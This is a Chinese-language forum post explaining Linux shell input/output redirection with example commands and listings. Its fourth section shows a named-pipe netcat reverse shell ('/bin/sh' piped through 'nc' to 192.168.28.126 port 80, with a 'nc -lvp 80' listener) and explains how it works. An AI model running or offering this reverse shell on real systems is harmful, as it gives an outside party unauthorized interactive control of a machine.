linux shell 之 输入输出重定向

本贴最后更新于 3896 天前,其中的信息可能已经时过境迁

1,标准输出,及错误输出 

标注输出:指令执行所回传的正确信息 标准错误输出:指令执行失败所传回来的信息

 标准输入  (stdin) :代码 0 ,使用 < 或 << ;
 标准输出  (stdout):代码 1 ,使用 > 或 >> ;
 标准错误输出 (stderr):代码 2 ,使用 2> 或 2>> ;

看着很简单明白吧,:-),来看看示例吧

1,标准错误出书

[root@c2y2 /]# cat /test 2>1.txt
[root@c2y2 /]# cat 1.txt 
cat: /test: No such file or directory
[root@c2y2 /]# 
2,标准输出
[root@c2y2 /]# ls -al 1>ls.txt
[root@c2y2 /]# cat ls.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

3,标准输入

[root@c2y2 /]# cat > lstest.txt 0< ls.txt
[root@c2y2 /]# cat lstest.txt 
total 15194
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 .
dr-xr-xr-x.  25 root root     4096 Mar 24 23:26 ..
-rw-r--r--.   1 root root       38 Mar 24 23:24 1.txt
-rw-r--r--.   1 root root        0 Mar 13 00:37 .autofsck
dr-xr-xr-x.   2 root root     4096 Mar 14 03:20 bin
dr-xr-xr-x.   5 root root     1024 Feb 12 21:54 boot
drwx------.   3 root root     4096 Feb 25  2013 .dbus
drwxr-xr-x.  17 root root     3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root    12288 Mar 22 15:07 etc
drwxr-xr-x.   3 root root     4096 Feb 25 22:03 home
-rw-r--r--.   1 root root 15438448 Feb 25  2013 initramfs-2.6.32-220.el6.i686.img
dr-xr-xr-x.  18 root root    12288 Mar 13 14:01 lib
drwx------.   2 root root    16384 Feb 25  2013 lost+found
-rw-r--r--.   1 root root        0 Mar 24 23:26 ls.txt
drwxr-xr-x.   3 root root     4096 Feb 12 08:59 media
drwxr-xr-x.   2 root root     4096 Feb 27  2013 media2
drwxr-xr-x.   2 root root        0 Mar 13 00:37 misc
drwxr-xr-x.   2 root root     4096 Sep 23  2011 mnt
drwxr-xr-x.   2 root root        0 Mar 13 00:37 net
drwxr-xr-x.   5 root root     4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root        0 Mar 13 00:31 proc
dr-xr-x---.  21 root root     4096 Mar 24 23:22 root
dr-xr-xr-x.   2 root root    12288 Mar 13 14:01 sbin
drwxr-xr-x.   7 root root        0 Mar 13 00:31 selinux
drwxr-xr-x.   2 root root     4096 Sep 23  2011 srv
drwxr-xr-x.  13 root root        0 Mar 13 00:31 sys
drwxrwxrwt.   6 root root     4096 Mar 24 22:23 tmp
drwxr-xr-x.  14 root root     4096 Feb 22 12:55 usr
drwxr-xr-x.  22 root root     4096 Feb 25  2013 var
[root@c2y2 /]# 

4,综合标准输入输出合起来,通过nc及管道建立反弹

服务器端:/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe
客户端:nc -lvp 80
:-),这样我们就可以在本地客户端实现shell交互了
命令分解:
服务器端两部曲:
首先创建管道
 mknod /tmp/testpipe p
然后就综合了:
/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe

工作原理:首先将管道 testpipe 内容作为标准输入为 bash 执行,并将结果通过‘|’输入到远端 192.168.28.126,而远端的输入又将重定向输入本地管道 testpipe,而 testpipe 又将作为标注输入到 bash 执行,:-),就这么一个循环,一个交互 shell 就这样 ok 了

管道:

    1,管道命令仅能处理标准的输入输出

    2,管道的输出必须能接受前一个指令的标准输出为标准输入并继续执行

    3,建立管道的方式:mknod xxx p 或者mkfifo xxx

  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

    944 引用 • 943 回帖 • 1 关注
  • Shell

    Shell 脚本与 Windows/Dos 下的批处理相似,也就是用各类命令预先放入到一个文件中,方便一次性执行的一个程序文件,主要是方便管理员进行设置或者管理用的。但是它比 Windows 下的批处理更强大,比用其他编程程序编辑的程序效率更高,因为它使用了 Linux/Unix 下的命令。

    123 引用 • 74 回帖 • 1 关注
  • >
    1 引用 • 3 回帖
  • >>
    1 引用 • 3 回帖
  • <
    1 引用 • 3 回帖
  • <<
    1 引用 • 3 回帖
  • 输入
    4 引用 • 32 回帖
  • 输出
    2 引用 • 8 回帖
  • 重定向
    1 引用 • 3 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • 88250

    最后交互的这个例子不错,赞 :-p

  • 其他回帖
  • c2y2
    作者

    @88250 加入了 key 的之后,所有的文章都被同步过来了撒,没选同步也同步了,这个有个开关没得呢。功能很不错哦,但是应该加个开关,不然写了见不得人的也进来了

  • 88250

    @c2y2 有开关的,发布文章的时候可以选择是否同步。

c2y2
用户简介最大长度 255

推荐标签 标签

  • Pipe

    Pipe 是一款小而美的开源博客平台。Pipe 有着非常活跃的社区,可将文章作为帖子推送到社区,来自社区的回帖将作为博客评论进行联动(具体细节请浏览 B3log 构思 - 分布式社区网络)。

    这是一种全新的网络社区体验,让热爱记录和分享的你不再感到孤单!

    132 引用 • 1114 回帖 • 124 关注
  • NetBeans

    NetBeans 是一个始于 1997 年的 Xelfi 计划,本身是捷克布拉格查理大学的数学及物理学院的学生计划。此计划延伸而成立了一家公司进而发展这个商用版本的 NetBeans IDE,直到 1999 年 Sun 买下此公司。Sun 于次年(2000 年)六月将 NetBeans IDE 开源,直到现在 NetBeans 的社群依然持续增长。

    78 引用 • 102 回帖 • 682 关注
  • Bootstrap

    Bootstrap 是 Twitter 推出的一个用于前端开发的开源工具包。它由 Twitter 的设计师 Mark Otto 和 Jacob Thornton 合作开发,是一个 CSS / HTML 框架。

    18 引用 • 33 回帖 • 659 关注
  • JetBrains

    JetBrains 是一家捷克的软件开发公司,该公司位于捷克的布拉格,并在俄国的圣彼得堡及美国麻州波士顿都设有办公室,该公司最为人所熟知的产品是 Java 编程语言开发撰写时所用的集成开发环境:IntelliJ IDEA

    18 引用 • 54 回帖 • 1 关注
  • CongSec

    本标签主要用于分享网络空间安全专业的学习笔记

    1 引用 • 1 回帖 • 10 关注
  • Hadoop

    Hadoop 是由 Apache 基金会所开发的一个分布式系统基础架构。用户可以在不了解分布式底层细节的情况下,开发分布式程序。充分利用集群的威力进行高速运算和存储。

    86 引用 • 122 回帖 • 625 关注
  • 京东

    京东是中国最大的自营式电商企业,2015 年第一季度在中国自营式 B2C 电商市场的占有率为 56.3%。2014 年 5 月,京东在美国纳斯达克证券交易所正式挂牌上市(股票代码:JD),是中国第一个成功赴美上市的大型综合型电商平台,与腾讯、百度等中国互联网巨头共同跻身全球前十大互联网公司排行榜。

    14 引用 • 102 回帖 • 374 关注
  • Eclipse

    Eclipse 是一个开放源代码的、基于 Java 的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。

    75 引用 • 258 回帖 • 618 关注
  • 微信

    腾讯公司 2011 年 1 月 21 日推出的一款手机通讯软件。用户可以通过摇一摇、搜索号码、扫描二维码等添加好友和关注公众平台,同时可以将自己看到的精彩内容分享到微信朋友圈。

    130 引用 • 793 回帖
  • JSON

    JSON (JavaScript Object Notation)是一种轻量级的数据交换格式。易于人类阅读和编写。同时也易于机器解析和生成。

    52 引用 • 190 回帖 • 1 关注
  • Vim

    Vim 是类 UNIX 系统文本编辑器 Vi 的加强版本,加入了更多特性来帮助编辑源代码。Vim 的部分增强功能包括文件比较(vimdiff)、语法高亮、全面的帮助系统、本地脚本(Vimscript)和便于选择的可视化模式。

    29 引用 • 66 回帖 • 1 关注
  • ngrok

    ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。

    7 引用 • 63 回帖 • 624 关注
  • TGIF

    Thank God It's Friday! 感谢老天,总算到星期五啦!

    287 引用 • 4484 回帖 • 669 关注
  • 前端

    前端技术一般分为前端设计和前端开发,前端设计可以理解为网站的视觉设计,前端开发则是网站的前台代码实现,包括 HTML、CSS 以及 JavaScript 等。

    247 引用 • 1348 回帖
  • OAuth

    OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 oAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 oAuth 是安全的。oAuth 是 Open Authorization 的简写。

    36 引用 • 103 回帖 • 9 关注
  • 开源

    Open Source, Open Mind, Open Sight, Open Future!

    408 引用 • 3574 回帖
  • 周末

    星期六到星期天晚,实行五天工作制后,指每周的最后两天。再过几年可能就是三天了。

    14 引用 • 297 回帖 • 1 关注
  • Flume

    Flume 是一套分布式的、可靠的,可用于有效地收集、聚合和搬运大量日志数据的服务架构。

    9 引用 • 6 回帖 • 631 关注
  • React

    React 是 Facebook 开源的一个用于构建 UI 的 JavaScript 库。

    192 引用 • 291 回帖 • 385 关注
  • 思源笔记

    思源笔记是一款隐私优先的个人知识管理系统,支持完全离线使用,同时也支持端到端加密同步。

    融合块、大纲和双向链接,重构你的思维。

    22370 引用 • 89532 回帖
  • 负能量

    上帝为你关上了一扇门,然后就去睡觉了....努力不一定能成功,但不努力一定很轻松 (° ー °〃)

    88 引用 • 1235 回帖 • 411 关注
  • Spark

    Spark 是 UC Berkeley AMP lab 所开源的类 Hadoop MapReduce 的通用并行框架。Spark 拥有 Hadoop MapReduce 所具有的优点;但不同于 MapReduce 的是 Job 中间输出结果可以保存在内存中,从而不再需要读写 HDFS,因此 Spark 能更好地适用于数据挖掘与机器学习等需要迭代的 MapReduce 的算法。

    74 引用 • 46 回帖 • 552 关注
  • wolai

    我来 wolai:不仅仅是未来的云端笔记!

    2 引用 • 14 回帖
  • SVN

    SVN 是 Subversion 的简称,是一个开放源代码的版本控制系统,相较于 RCS、CVS,它采用了分支管理系统,它的设计目标就是取代 CVS。

    29 引用 • 98 回帖 • 681 关注
  • 机器学习

    机器学习(Machine Learning)是一门多领域交叉学科,涉及概率论、统计学、逼近论、凸分析、算法复杂度理论等多门学科。专门研究计算机怎样模拟或实现人类的学习行为,以获取新的知识或技能,重新组织已有的知识结构使之不断改善自身的性能。

    83 引用 • 37 回帖 • 1 关注
  • FreeMarker

    FreeMarker 是一款好用且功能强大的 Java 模版引擎。

    23 引用 • 20 回帖 • 462 关注
  • Laravel

    Laravel 是一套简洁、优雅的 PHP Web 开发框架。它采用 MVC 设计,是一款崇尚开发效率的全栈框架。

    20 引用 • 23 回帖 • 722 关注